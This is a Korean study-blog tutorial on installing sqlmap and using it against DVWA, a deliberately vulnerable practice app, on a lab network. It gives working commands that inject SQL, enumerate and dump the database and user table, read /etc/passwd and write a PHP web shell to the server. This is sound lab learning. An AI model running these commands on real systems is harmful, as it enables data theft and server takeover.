겉바속촉
[보안] SQLmap 본문
sqlmap을 먼저 설치해주세요.
sqlmap: automatic SQL injection and database takeover tool
Introduction sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate p
sqlmap.org
위 사이트 접속해서 다운 받으시면 됩니다:)
zip파일 설치해주기
압축 풀어주기!!
얘는 파이썬 기반으로 스크립트가 동작됩니다.
파이썬 파일로 되어있기 때문에 파이썬 있는 지 cmd에서 먼저 확인해주시길 바랍니다.
C:\Users\A0501660>python
Python 3.8.5 (default, Sep 3 2020, 21:29:08) [MSC v.1916 64 bit (AMD64)] :: Anaconda, Inc. on win32
이제 sqlmap이 설치된 경로로 들어가서 프롬포트를 다음과 같이 바꿔주세요:)
각자 다운 받은 경로로 해주시면 되겠죠??
python sqlmap.py --help 명령을 내려서 다음과 같이 실행되는 지 확인!
C:\Users\A0501660\Downloads\sqlmapproject-sqlmap-accfbf9>python sqlmap.py --help
___
__H__
___ ___[,]_____ ___ ___ {1.5.1.41#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
Usage: sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--sqlmap-shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users
Press Enter to continue...
이제 이것저것 연습해보겠습니다:)
제일 먼저 현재 작업 중인 경로에서도 python이 실행되는 지 확인하는 것이 우선입니다.
python의 path 설정이 잘 되어있어야 가능합니다:)
***참고***
혹시 python이 여러 버전으로 있다면
python3 라고 입력해주시면 됩니다.
C:\Users\A0501660\Downloads\sqlmapproject-sqlmap-accfbf9>python
Python 3.8.5 (default, Sep 3 2020, 21:29:08) [MSC v.1916 64 bit (AMD64)] :: Anaconda, Inc. on win32
Warning:
This Python interpreter is in a conda environment, but the environment has
not been activated. Libraries may fail to load. To activate this environment
please see https://conda.io/activation
Type "help", "copyright", "credits" or "license" for more information.
>>>
쿠키값 설정 및 입력
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--technique
--wizard
개발자도구 활용해서 다음 표시한 cookie탭으로 가셔서 복사한 후에 PHPSESSID값에 넣어주시면 됩니다:)
인증처리를 해주는 거에요!!
그래서 위의 명령어를 입력하면
데이터베이스가 무엇인지 먼저 체크를 해주게 됩니다.
오류 기반 이용 데이터베이스 사용자
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --current-user
데이터 베이스 목록
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
테이블 덤프
-D : 데이터베이스 이름 입력
--tables : DB에 있는 테이블 보기
예시
python sqlmap.py --technique=E -u http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1 -D security --tables
DVWA 테이블을 뽑아내고 싶어서 다음과 같이 주었습니다.
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
다 뽑아내고 싶다면 옵션을 줄 때 -a을 붙여주면 되겠죠?
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -a
하지만 컬럼들까지 모두 뽑아오기 때문에 시간이 오래걸립니다.
그래서 많이 쓰지 않습니다.
목표 : DVWA -> 계정정보 값을 찾아서 표시
1. SQL 입력가능한 포인트 2. 데이터베이스 명 찾기 3. 데이터베이스 테이블 찾기 4. 테이블 값 표시
|
권한 확인 -> 파일 읽기 및 쓰기 (FILE)
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --privileges
파일 읽기
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --file-read=/etc/passwd
연습해 볼 명령어들 모음
SQLMAP
값에 매개변수 ID 찾음
http://test.nanum.info:8080/dvwa/vulnerabilities/sqli/?id=1
http://test.nanum.info:8080/dvwa/vulnerabilities/sqli/?id=1'
sqlmap.py -u http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
쿠기값 설정 및 입력
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--technique
--wizard
오류 기반 이용 데이터베이스 사용자 및 데이터 베이스 목록
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --current-user
데이터베이스 목록
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
테이블 덤프
python sqlmap.py --technique=E -u http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1 -D security --tables
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
데이터베이스 및 테이블
sqlmap.py -u http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1 -D security -T users --dump
전체 덤프 (권장하지 않음)
sqlmap.py -u http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1 --dump-all
권한 확인 -> 파일 읽기 및 쓰기 (FILE)
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --privileges
파일 읽기
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --file-read=/etc/passwd
웹쉘 삽입 (<?php system($_GET[1337]); ?>)
python sqlmap.py --cookie="PHPSESSID=2aa1b5ca58b9118bbcc11db39ee783f6; security=low" –u "http://192.168.137.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --file-write=shell.php --file-dest=/var/www/shell-php.php
=========================================================================
sqlmap.py --cookie="PHPSESSID=oepqtlrjsve31n793g1n2qert0; security=low" –u "http://test.nanum.info:8080/dvwa/vulnerabilities/sqli/?id=asdf&Submit=Submit#" --dbs
'IT 일기 (상반기) > 네트워크 및 시스템 보안' 카테고리의 다른 글
[보안] DirBuster 설치 및 작업 (0) | 2021.02.02 |
---|---|
[보안] XSS, 파일 업로드 취약점 (0) | 2021.01.29 |
[보안] SQL Injection (feat. DVWA) (2) | 2021.01.29 |
[보안] SQL Injection 개념 (0) | 2021.01.29 |
[네트워크] 웹 서비스 기본3 (0) | 2021.01.29 |